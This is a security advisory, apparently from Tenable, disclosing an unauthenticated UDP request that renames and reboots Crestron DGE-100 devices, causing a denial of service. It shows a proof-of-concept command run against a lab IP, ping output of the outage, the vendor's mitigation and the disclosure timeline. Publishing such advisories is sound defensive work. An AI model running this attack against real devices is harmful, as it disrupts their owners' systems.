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Crestron DGE-100 Unauthenticated Remote Denial of Service

High

Synopsis

While investigating a Crestron DGE-100, Tenable discovered that a remote unauthenticated attacker could change the device's name via a crafted UDP request to port 41794. Furthermore, after a name change the device reboots. An attacker can cause a denial of service scenario simply by sending a name change request every 30 seconds or so.

Tenable developed a proof of concept that can be found on our GitHub. In the following output, the devices name is changed from "REALLYCOOLNAME" to "LOLWAT." The output also shows that the device stops responding to pings while it reboots.

[email protected]:~$ python discover_and_hostname_change.py -i 172.20.10.105 -n lolwat
?REALLYCOOLNAMEDGE-100 [v1.2834.00023 (December 27 2015), #00EF8CA0]

[email protected]:~$ ping 172.20.10.105
PING 172.20.10.105 (172.20.10.105) 56(84) bytes of data.
From 172.20.10.111 icmp_seq=3 Destination Host Unreachable
From 172.20.10.111 icmp_seq=4 Destination Host Unreachable
From 172.20.10.111 icmp_seq=5 Destination Host Unreachable
From 172.20.10.111 icmp_seq=6 Destination Host Unreachable
From 172.20.10.111 icmp_seq=7 Destination Host Unreachable
From 172.20.10.111 icmp_seq=8 Destination Host Unreachable
From 172.20.10.111 icmp_seq=9 Destination Host Unreachable
From 172.20.10.111 icmp_seq=10 Destination Host Unreachable
From 172.20.10.111 icmp_seq=11 Destination Host Unreachable
From 172.20.10.111 icmp_seq=12 Destination Host Unreachable
From 172.20.10.111 icmp_seq=13 Destination Host Unreachable
From 172.20.10.111 icmp_seq=14 Destination Host Unreachable
From 172.20.10.111 icmp_seq=15 Destination Host Unreachable
From 172.20.10.111 icmp_seq=16 Destination Host Unreachable
From 172.20.10.111 icmp_seq=17 Destination Host Unreachable
From 172.20.10.111 icmp_seq=18 Destination Host Unreachable
From 172.20.10.111 icmp_seq=19 Destination Host Unreachable
From 172.20.10.111 icmp_seq=20 Destination Host Unreachable
64 bytes from 172.20.10.105: icmp_seq=21 ttl=64 time=1036 ms
64 bytes from 172.20.10.105: icmp_seq=22 ttl=64 time=13.0 ms
64 bytes from 172.20.10.105: icmp_seq=23 ttl=64 time=0.441 ms
64 bytes from 172.20.10.105: icmp_seq=24 ttl=64 time=0.517 ms
^C
--- 172.20.10.105 ping statistics ---
24 packets transmitted, 4 received, +18 errors, 83% packet loss, time 23500ms
rtt min/avg/max/mdev = 0.441/262.734/1036.964/447.031 ms, pipe 4
[email protected]:~$
[email protected]:~$ python discover_and_hostname_change.py -i 172.20.10.105
?LOLWATDGE-100 [v1.2834.00023 (December 27 2015), #00EF8CA0]
[email protected]:~$ 

Solution

In response to Tenable's disclosure, Crestron stated that this is a known feature. However, they introduced the following update to the DGE-100 deployment guide:

Crestron devices support an autodiscovery feature which allows them to be detected, report basic information, and do some basic configuration remotely. This feature is not protected by authentication; therefore, this feature should be disabled for improved security. Autodiscovery can be shut off by using the following command:

AUTODISCOVERY OFF

Disclosure Timeline

01/17/2019 - Tenable discloses 90 day set to April 17.
01/18/2019 - Crestron indicates "as designed" but notes that mitigation details will be added to the "secure deployment guide."
01/18/2019 - Tenable asks if there is a public copy of the guide.
01/18/2019 - Crestron provides a link: http://security.crestron.com/Content/Support.htm
01/18/2019 - Tenable thanks Crestron.
02/01/2019 - Tenable asks about the guide being updated. The guide Tenable has access to hasn't been updated since 2016.
02/04/2018 - Crestron points to a different guide.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

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